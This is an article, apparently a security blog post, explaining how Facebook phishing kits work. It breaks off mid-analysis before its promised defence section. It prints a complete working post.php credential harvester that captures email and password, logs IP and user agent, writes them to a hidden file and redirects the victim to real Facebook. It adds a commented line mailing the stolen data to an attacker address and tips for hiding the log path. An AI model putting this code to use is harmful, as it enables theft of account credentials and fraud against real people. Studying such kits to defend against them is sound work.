The Anatomy of a Facebook Phishing Attack: Dissecting the post.php Code Introduction: The Ever-Present Threat In the digital ecosystem, Facebook remains a goldmine for cybercriminals. With over 3 billion monthly active users, a single compromised account can be used to spread scams, harvest personal data, or even launch financial fraud. Among the various techniques attackers use, phishing via malicious post.php files is one of the most dangerous yet misunderstood. When security researchers talk about "Facebook phishing postphp code," they are referring to a specific breed of server-side scripts designed to intercept login credentials. Unlike simple fake login pages that only capture data locally, these PHP scripts actively process, store, and sometimes even redirect victims to the real Facebook to avoid suspicion. In this article, we will break down exactly how these phishing kits work, analyze the PHP code behind them, and—most importantly—teach you how to defend against them.
Part 1: What is a post.php Phishing Script? A post.php file is the backend engine of most Facebook phishing campaigns. When a victim lands on a fake Facebook login page (often hosted on a compromised legitimate website or a lookalike domain like faceb00k-login[.]com ), the HTML form submits the entered email and password to this post.php script. Typical file structure of a Facebook phishing kit: phishing-kit/ ├── index.html (Fake Facebook login page) ├── post.php (The credential harvester) ├── log.txt or credentials.txt (Storage file) ├── redirect.html (Sends victim to real Facebook) └── style.css (Mimics Facebook’s design)
The post.php script is what separates a “dumb” HTML copy from a fully functional phishing operation.
Part 2: Deep Dive into a Realistic post.php Code Below is an anonymized but realistic example of the PHP code used in the wild for Facebook phishing. Let's analyze it line by logical section. The Code <?php // Facebook Phishing Post Script - Educational Analysis Only // 1. Capture incoming POST data from the fake login form $email = $_POST['email']; $password = $_POST['pass']; // 2. Basic input sanitization (Ironically, to avoid breaking the attack) $email = trim($email); $password = trim($password); // 3. Define storage location (often obfuscated) $log_file = "logs/facebook_logs.txt"; $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT']; $date = date("Y-m-d H:i:s"); // 4. Format the stolen data $data = "========== NEW LOGIN ==========\n"; $data .= "Date: $date\n"; $data .= "IP: $ip\n"; $data .= "User Agent: $user_agent\n"; $data .= "Email/Phone: $email\n"; $data .= "Password: $password\n"; $data .= "================================\n\n"; // 5. Write to file (the harvesting mechanism) file_put_contents($log_file, $data, FILE_APPEND | LOCK_EX); // 6. Optional: Send to attacker's email (more risky for them) // mail("attacker@protonmail.com", "New Facebook Log", $data); // 7. Redirect victim to real Facebook to avoid suspicion header("Location: https://www.facebook.com/login.php"); exit(); ?>
Explanation of Each Section Section 1-2: Data Capture $email = $_POST['email']; $password = $_POST['pass'];
The script retrieves the values submitted via HTTP POST from the fake login form. The original HTML form contains fields named email and pass (or sometimes username and password ). Attackers often mimic Facebook’s actual field names to avoid suspicion if the script is inspected. Section 3-4: Metadata Harvesting $ip = $_SERVER['REMOTE_ADDR']; $user_agent = $_SERVER['HTTP_USER_AGENT'];
These lines log the victim’s IP address and browser user agent. This serves two purposes for the attacker:
Geolocation: Provides city/country info for targeted secondary attacks. Verification: Attackers ensure the credentials aren’t from a security researcher’s honeypot.
Section 5: The Steal file_put_contents($log_file, $data, FILE_APPEND | LOCK_EX);
This is the core exfiltration method. It appends the stolen credentials to a text file. The LOCK_EX flag prevents simultaneous writes from corrupting the file if multiple victims hit the script at once. Smarter phishing kits obfuscate this file path. Instead of logs/facebook_logs.txt , they might use:
.404.png (looks like an image) ../.cache/db.php (outside web root) backup/admin.bak
Section 6-7: The Misdirection header("Location: https://www.facebook.com/login.php");